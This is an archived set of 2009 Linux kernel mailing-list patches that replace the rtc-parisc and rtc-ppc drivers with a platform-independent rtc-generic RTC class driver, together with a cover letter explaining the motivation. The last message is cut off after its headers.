From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH/RFC 4/5] powerpc: Enable rtc-generic, and kill rtc-ppc
Date: Fri, 20 Feb 2009 16:46:48 +0100
Lines: 166
Approved: news@gmane.org
Message-ID: <1235144809-32468-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235144878 9165 80.91.229.12 (20 Feb 2009 15:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 15:47:58 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <a.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 16:49:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXcL-0002YH-Bv
	for glpp-linux-parisc@gmane.org; Fri, 20 Feb 2009 16:48:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758886AbZBTPrB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2009 10:47:01 -0500
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758879AbZBTPrA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Feb 2009 10:47:00 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35456 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754600AbZBTPqz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2009 10:46:55 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 9295E58C50;
	Fri, 20 Feb 2009 16:46:52 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LaXaW-0008TZ-H1; Fri, 20 Feb 2009 16:46:52 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1235144809-32468-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1299 gmane.linux.ports.ppc64.devel:52713 gmane.linux.kernel:797430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1299>

Create the "rtc-generic" platform device if ppc_md.get_rtc_time is set.
Kill rtc-ppc, as rtc-generic offers the same functionality in a more ge=
neric
way.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 arch/powerpc/Kconfig       |    4 ++
 arch/powerpc/kernel/time.c |   22 ++++++++++++++
 drivers/rtc/Kconfig        |    8 -----
 drivers/rtc/Makefile       |    1 -
 drivers/rtc/rtc-ppc.c      |   69 ------------------------------------=
--------
 5 files changed, 26 insertions(+), 78 deletions(-)
 delete mode 100644 drivers/rtc/rtc-ppc.c

diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 40b7981..82e47b0 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -85,6 +85,10 @@ config ARCH_HAS_ILOG2_U64
 	bool
 	default y if 64BIT
=20
+config ARCH_HAS_GENERIC_RTC
+	bool
+	default y
+
 config GENERIC_HWEIGHT
 	bool
 	default y
diff --git a/arch/powerpc/kernel/time.c b/arch/powerpc/kernel/time.c
index c956403..616c7d3 100644
--- a/arch/powerpc/kernel/time.c
+++ b/arch/powerpc/kernel/time.c
@@ -1127,3 +1127,25 @@ void div128_by_32(u64 dividend_high, u64 dividen=
d_low,
 	dr->result_low  =3D ((u64)y << 32) + z;
=20
 }
+
+static struct platform_device rtc_generic_dev =3D {
+	.name =3D "rtc-generic",
+	.id =3D -1,
+};
+
+static int __init rtc_init(void)
+{
+	int ret;
+
+	if (!ppc_md.get_rtc_time)
+		return -ENODEV;
+
+	ret =3D platform_device_register(&rtc_generic_dev);
+	if (ret < 0)
+		pr_err("Unable to register rtc device...\n");
+
+	/* not necessarily an error */
+	return 0;
+}
+
+module_init(rtc_init);
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 3e58182..9964a72 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -685,14 +685,6 @@ config RTC_DRV_GENERIC
 	  RTC abstraction. If you do not know what you are doing, you should
 	  just say Y.
=20
-config RTC_DRV_PPC
-       tristate "PowerPC machine dependent RTC support"
-       depends on PPC
-       help
-	 The PowerPC kernel has machine-specific functions for accessing
-	 the RTC. This exposes that functionality through the generic RTC
-	 class.
-
 config RTC_DRV_PXA
        tristate "PXA27x/PXA3xx"
        depends on ARCH_PXA
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index 9c18a01..bd209a5 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -56,7 +56,6 @@ obj-$(CONFIG_RTC_DRV_PCF8583)	+=3D rtc-pcf8583.o
 obj-$(CONFIG_RTC_DRV_PL030)	+=3D rtc-pl030.o
 obj-$(CONFIG_RTC_DRV_PL031)	+=3D rtc-pl031.o
 obj-$(CONFIG_RTC_DRV_GENERIC)	+=3D rtc-generic.o
-obj-$(CONFIG_RTC_DRV_PPC)	+=3D rtc-ppc.o
 obj-$(CONFIG_RTC_DRV_PXA)	+=3D rtc-pxa.o
 obj-$(CONFIG_RTC_DRV_R9701)	+=3D rtc-r9701.o
 obj-$(CONFIG_RTC_DRV_RS5C313)	+=3D rtc-rs5c313.o
diff --git a/drivers/rtc/rtc-ppc.c b/drivers/rtc/rtc-ppc.c
deleted file mode 100644
index c8e97e2..0000000
--- a/drivers/rtc/rtc-ppc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * RTC driver for ppc_md RTC functions
- *
- * =C2=A9 2007 Red Hat, Inc.
- *
- * Author: David Woodhouse <dwmw2@infradead.org>
- *
- * This program is free software; you can redistribute it and/or modif=
y
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- */
-
-
-#include <linux/module.h>
-#include <linux/err.h>
-#include <linux/rtc.h>
-#include <linux/platform_device.h>
-#include <asm/machdep.h>
-
-static int ppc_rtc_read_time(struct device *dev, struct rtc_time *tm)
-{
-	ppc_md.get_rtc_time(tm);
-	return 0;
-}
-
-static int ppc_rtc_set_time(struct device *dev, struct rtc_time *tm)
-{
-	return ppc_md.set_rtc_time(tm);
-}
-
-static const struct rtc_class_ops ppc_rtc_ops =3D {
-	.set_time =3D ppc_rtc_set_time,
-	.read_time =3D ppc_rtc_read_time,
-};
-
-static struct rtc_device *rtc;
-static struct platform_device *ppc_rtc_pdev;
-
-static int __init ppc_rtc_init(void)
-{
-	if (!ppc_md.get_rtc_time || !ppc_md.set_rtc_time)
-		return -ENODEV;
-
-	ppc_rtc_pdev =3D platform_device_register_simple("ppc-rtc", 0, NULL, =
0);
-	if (IS_ERR(ppc_rtc_pdev))
-		return PTR_ERR(ppc_rtc_pdev);
-
-	rtc =3D rtc_device_register("ppc_md", &ppc_rtc_pdev->dev,
-				  &ppc_rtc_ops, THIS_MODULE);
-	if (IS_ERR(rtc)) {
-		platform_device_unregister(ppc_rtc_pdev);
-		return PTR_ERR(rtc);
-	}
-
-	return 0;
-}
-
-static void __exit ppc_rtc_exit(void)
-{
-	rtc_device_unregister(rtc);
-	platform_device_unregister(ppc_rtc_pdev);
-}
-
-module_init(ppc_rtc_init);
-module_exit(ppc_rtc_exit);

From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH/RFC 2/5] pa-risc: Rename rtc-parisc to rtc-generic
Date: Fri, 20 Feb 2009 16:46:46 +0100
Lines: 346
Approved: news@gmane.org
Message-ID: <1235144809-32468-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1235144879 9170 80.91.229.12 (20 Feb 2009 15:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 15:47:59 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <a.zummo@towertech.it>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Feb 20 16:49:13 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXcR-0002YH-LZ
	for glpm-linux-m68k@gmane.org; Fri, 20 Feb 2009 16:48:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758913AbZBTPrJ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 20 Feb 2009 10:47:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753892AbZBTPrF
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Fri, 20 Feb 2009 10:47:05 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35482 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754770AbZBTPq7 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Fri, 20 Feb 2009 10:46:59 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id A96EF58C4D;
	Fri, 20 Feb 2009 16:46:51 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LaXaV-0008TS-Ii; Fri, 20 Feb 2009 16:46:51 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1235144809-32468-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:464 gmane.linux.ports.parisc:1300 gmane.linux.ports.ppc64.devel:52714 gmane.linux.kernel:797431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1300>

The rtc-parisc driver is not PA-RISC specific at all, as it uses the existing
generic RTC infrastructure ([gs]et_rtc_time()).
Rename the driver from rtc-parisc to rtc-generic, and make it depend on the new
Kconfig symbol ARCH_HAS_GENERIC_RTC.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 arch/parisc/Kconfig       |    6 ++-
 arch/parisc/kernel/time.c |    6 +-
 drivers/rtc/Kconfig       |   10 ++--
 drivers/rtc/Makefile      |    2 +-
 drivers/rtc/rtc-generic.c |  113 +++++++++++++++++++++++++++++++++++++++++++++
 drivers/rtc/rtc-parisc.c  |  113 ---------------------------------------------
 6 files changed, 127 insertions(+), 123 deletions(-)
 create mode 100644 drivers/rtc/rtc-generic.c
 delete mode 100644 drivers/rtc/rtc-parisc.c

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index aacf11d..cacb3a1 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -10,7 +10,7 @@ config PARISC
 	select HAVE_IDE
 	select HAVE_OPROFILE
 	select RTC_CLASS
-	select RTC_DRV_PARISC
+	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
@@ -43,6 +43,10 @@ config ARCH_HAS_ILOG2_U64
 	bool
 	default n
 
+config ARCH_HAS_GENERIC_RTC
+	bool
+	default y
+
 config GENERIC_FIND_NEXT_BIT
 	bool
 	default y
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 9d46c43..849f460 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -216,8 +216,8 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
-struct platform_device rtc_parisc_dev = {
-	.name = "rtc-parisc",
+static struct platform_device rtc_generic_dev = {
+	.name = "rtc-generic",
 	.id = -1,
 };
 
@@ -225,7 +225,7 @@ static int __init rtc_init(void)
 {
 	int ret;
 
-	ret = platform_device_register(&rtc_parisc_dev);
+	ret = platform_device_register(&rtc_generic_dev);
 	if (ret < 0)
 		printk(KERN_ERR "unable to register rtc device...\n");
 
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 81450fb..3e58182 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -677,12 +677,12 @@ config RTC_DRV_RS5C313
 	help
 	  If you say yes here you get support for the Ricoh RS5C313 RTC chips.
 
-config RTC_DRV_PARISC
-	tristate "PA-RISC firmware RTC support"
-	depends on PARISC
+config RTC_DRV_GENERIC
+	tristate "Generic RTC support"
+	depends on ARCH_HAS_GENERIC_RTC
 	help
-	  Say Y or M here to enable RTC support on PA-RISC systems using
-	  firmware calls. If you do not know what you are doing, you should
+	  Say Y or M here to enable RTC support on systems using the generic
+	  RTC abstraction. If you do not know what you are doing, you should
 	  just say Y.
 
 config RTC_DRV_PPC
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index 0e697aa..9c18a01 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -55,7 +55,7 @@ obj-$(CONFIG_RTC_DRV_PCF8563)	+= rtc-pcf8563.o
 obj-$(CONFIG_RTC_DRV_PCF8583)	+= rtc-pcf8583.o
 obj-$(CONFIG_RTC_DRV_PL030)	+= rtc-pl030.o
 obj-$(CONFIG_RTC_DRV_PL031)	+= rtc-pl031.o
-obj-$(CONFIG_RTC_DRV_PARISC)	+= rtc-parisc.o
+obj-$(CONFIG_RTC_DRV_GENERIC)	+= rtc-generic.o
 obj-$(CONFIG_RTC_DRV_PPC)	+= rtc-ppc.o
 obj-$(CONFIG_RTC_DRV_PXA)	+= rtc-pxa.o
 obj-$(CONFIG_RTC_DRV_R9701)	+= rtc-r9701.o
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
new file mode 100644
index 0000000..b744c7d
--- /dev/null
+++ b/drivers/rtc/rtc-generic.c
@@ -0,0 +1,113 @@
+/* rtc-generic: RTC driver using the generic RTC abstraction
+ *
+ * Copyright (C) 2008 Kyle McMartin <kyle@mcmartin.ca>
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/time.h>
+#include <linux/platform_device.h>
+
+#include <asm/rtc.h>
+
+/* as simple as can be, and no simpler. */
+struct generic_rtc {
+	struct rtc_device *rtc;
+	spinlock_t lock;
+};
+
+static int generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	struct generic_rtc *p = dev_get_drvdata(dev);
+	unsigned long flags, ret;
+
+	spin_lock_irqsave(&p->lock, flags);
+	ret = get_rtc_time(tm);
+	spin_unlock_irqrestore(&p->lock, flags);
+
+	if (ret & RTC_BATT_BAD)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static int generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	struct generic_rtc *p = dev_get_drvdata(dev);
+	unsigned long flags;
+	int ret;
+
+	spin_lock_irqsave(&p->lock, flags);
+	ret = set_rtc_time(tm);
+	spin_unlock_irqrestore(&p->lock, flags);
+
+	if (ret < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops generic_rtc_ops = {
+	.read_time = generic_get_time,
+	.set_time = generic_set_time,
+};
+
+static int __devinit generic_rtc_probe(struct platform_device *dev)
+{
+	struct generic_rtc *p;
+
+	p = kzalloc(sizeof (*p), GFP_KERNEL);
+	if (!p)
+		return -ENOMEM;
+
+	spin_lock_init(&p->lock);
+
+	p->rtc = rtc_device_register("rtc-generic", &dev->dev,
+				     &generic_rtc_ops, THIS_MODULE);
+	if (IS_ERR(p->rtc)) {
+		int err = PTR_ERR(p->rtc);
+		kfree(p);
+		return err;
+	}
+
+	platform_set_drvdata(dev, p);
+
+	return 0;
+}
+
+static int __devexit generic_rtc_remove(struct platform_device *dev)
+{
+	struct generic_rtc *p = platform_get_drvdata(dev);
+
+	rtc_device_unregister(p->rtc);
+	kfree(p);
+
+	return 0;
+}
+
+static struct platform_driver generic_rtc_driver = {
+	.driver = {
+		.name = "rtc-generic",
+		.owner = THIS_MODULE,
+	},
+	.probe = generic_rtc_probe,
+	.remove = __devexit_p(generic_rtc_remove),
+};
+
+static int __init generic_rtc_init(void)
+{
+	return platform_driver_register(&generic_rtc_driver);
+}
+
+static void __exit generic_rtc_fini(void)
+{
+	platform_driver_unregister(&generic_rtc_driver);
+}
+
+module_init(generic_rtc_init);
+module_exit(generic_rtc_fini);
+
+MODULE_AUTHOR("Kyle McMartin <kyle@mcmartin.ca>");
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("Generic RTC driver");
+MODULE_ALIAS("platform:rtc-generic");
diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
deleted file mode 100644
index 28fb7d3..0000000
--- a/drivers/rtc/rtc-parisc.c
+++ /dev/null
@@ -1,113 +0,0 @@
-/* rtc-parisc: RTC for HP PA-RISC firmware
- *
- * Copyright (C) 2008 Kyle McMartin <kyle@mcmartin.ca>
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/time.h>
-#include <linux/platform_device.h>
-
-#include <asm/rtc.h>
-
-/* as simple as can be, and no simpler. */
-struct parisc_rtc {
-	struct rtc_device *rtc;
-	spinlock_t lock;
-};
-
-static int parisc_get_time(struct device *dev, struct rtc_time *tm)
-{
-	struct parisc_rtc *p = dev_get_drvdata(dev);
-	unsigned long flags, ret;
-
-	spin_lock_irqsave(&p->lock, flags);
-	ret = get_rtc_time(tm);
-	spin_unlock_irqrestore(&p->lock, flags);
-
-	if (ret & RTC_BATT_BAD)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static int parisc_set_time(struct device *dev, struct rtc_time *tm)
-{
-	struct parisc_rtc *p = dev_get_drvdata(dev);
-	unsigned long flags;
-	int ret;
-
-	spin_lock_irqsave(&p->lock, flags);
-	ret = set_rtc_time(tm);
-	spin_unlock_irqrestore(&p->lock, flags);
-
-	if (ret < 0)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static const struct rtc_class_ops parisc_rtc_ops = {
-	.read_time = parisc_get_time,
-	.set_time = parisc_set_time,
-};
-
-static int __devinit parisc_rtc_probe(struct platform_device *dev)
-{
-	struct parisc_rtc *p;
-
-	p = kzalloc(sizeof (*p), GFP_KERNEL);
-	if (!p)
-		return -ENOMEM;
-
-	spin_lock_init(&p->lock);
-
-	p->rtc = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
-					THIS_MODULE);
-	if (IS_ERR(p->rtc)) {
-		int err = PTR_ERR(p->rtc);
-		kfree(p);
-		return err;
-	}
-
-	platform_set_drvdata(dev, p);
-
-	return 0;
-}
-
-static int __devexit parisc_rtc_remove(struct platform_device *dev)
-{
-	struct parisc_rtc *p = platform_get_drvdata(dev);
-
-	rtc_device_unregister(p->rtc);
-	kfree(p);
-
-	return 0;
-}
-
-static struct platform_driver parisc_rtc_driver = {
-	.driver = {
-		.name = "rtc-parisc",
-		.owner = THIS_MODULE,
-	},
-	.probe = parisc_rtc_probe,
-	.remove = __devexit_p(parisc_rtc_remove),
-};
-
-static int __init parisc_rtc_init(void)
-{
-	return platform_driver_register(&parisc_rtc_driver);
-}
-
-static void __exit parisc_rtc_fini(void)
-{
-	platform_driver_unregister(&parisc_rtc_driver);
-}
-
-module_init(parisc_rtc_init);
-module_exit(parisc_rtc_fini);
-
-MODULE_AUTHOR("Kyle McMartin <kyle@mcmartin.ca>");
-MODULE_LICENSE("GPL");
-MODULE_DESCRIPTION("HP PA-RISC RTC driver");
-MODULE_ALIAS("platform:rtc-parisc");
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH/RFC 0/5] Generic RTC class driver
Date: Fri, 20 Feb 2009 16:46:44 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235144879 9172 80.91.229.12 (20 Feb 2009 15:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 15:47:59 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org
To: Alessandro Zummo <a.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 16:49:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXcH-0002YH-AC
	for glpp-linux-parisc@gmane.org; Fri, 20 Feb 2009 16:48:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753774AbZBTPqy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2009 10:46:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754069AbZBTPqy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Feb 2009 10:46:54 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35418 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1753863AbZBTPqx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2009 10:46:53 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id D458058ABD;
	Fri, 20 Feb 2009 16:46:50 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LaXaU-0008TH-Am; Fri, 20 Feb 2009 16:46:50 +0100
X-Mailer: git-send-email 1.6.0.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1301 gmane.linux.ports.ppc64.devel:52715 gmane.linux.kernel:797432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1301>


I've been looking into problems with auto-loading the RTC driver on PPC=
 (more
specifically on PS3):
  - The recent "rtc-ppc" RTC class driver is not autoloaded by udev bec=
ause
    it's an old style platform driver that contains its own platform de=
vice.
  - The alternative old "genrtc" driver is autoloaded on non-udev syste=
ms only
    because it contains the module alias char-major-10-135. However, it=
's not
    a new-style RTC class driver.

=46ortunately there already exists a generic RTC class driver: "rtc-par=
isc".
Despite it's name, it's platform-independent, as it's build on top of t=
he RTC
abstraction used by "genrtc".

This patch series
  - adds a missing module alias to rtc-parisc,
  - renames rtc-parisc to rtc-generic,
  - converts the architectures that currently have CONFIG_GEN_RTC enabl=
ed in
    their defconfig (m68k, parisc, powerpc) to rtc-generic,
  - removes the obsolete rtc-ppc driver,
  - removes the old genrtc driver.
 =20
Note that genrtc may be used on other archictectures as well: at least =
alpha
has the required infrastructure ([gs]et_rtc_time()). The Kconfig rules =
allow
genrtc to be enabled on several others (cris, h8300, mn10300, um, x86, =
xtensa).

=46urthermore genrtc and rtc-generic are not 100% userspace compatible:
  - /dev/rtc provided by genrtc uses a misc character device (10:135),
  - /dev/rtc provided by rtc-generic uses a dynamic character device.
 =20
So perhaps we don't want to kill gen-rtc yet?

Any comments are welcomed!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =C2=B7 Da Vincilaan 7-D1 =C2=B7 B-1935 Zaventem =C2=
=B7 Belgium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =C2=B7 RPR Brussels
=46ortis =C2=B7 BIC GEBABEBB =C2=B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH/RFC 5/5] rtc: Kill genrtc, as all its users have been converted to rtc-generic
Date: Fri, 20 Feb 2009 16:46:49 +0100
Lines: 589
Approved: news@gmane.org
Message-ID: <1235144809-32468-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1235144809-32468-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1235144882 9193 80.91.229.12 (20 Feb 2009 15:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 15:48:02 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <a.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 16:49:16 2009
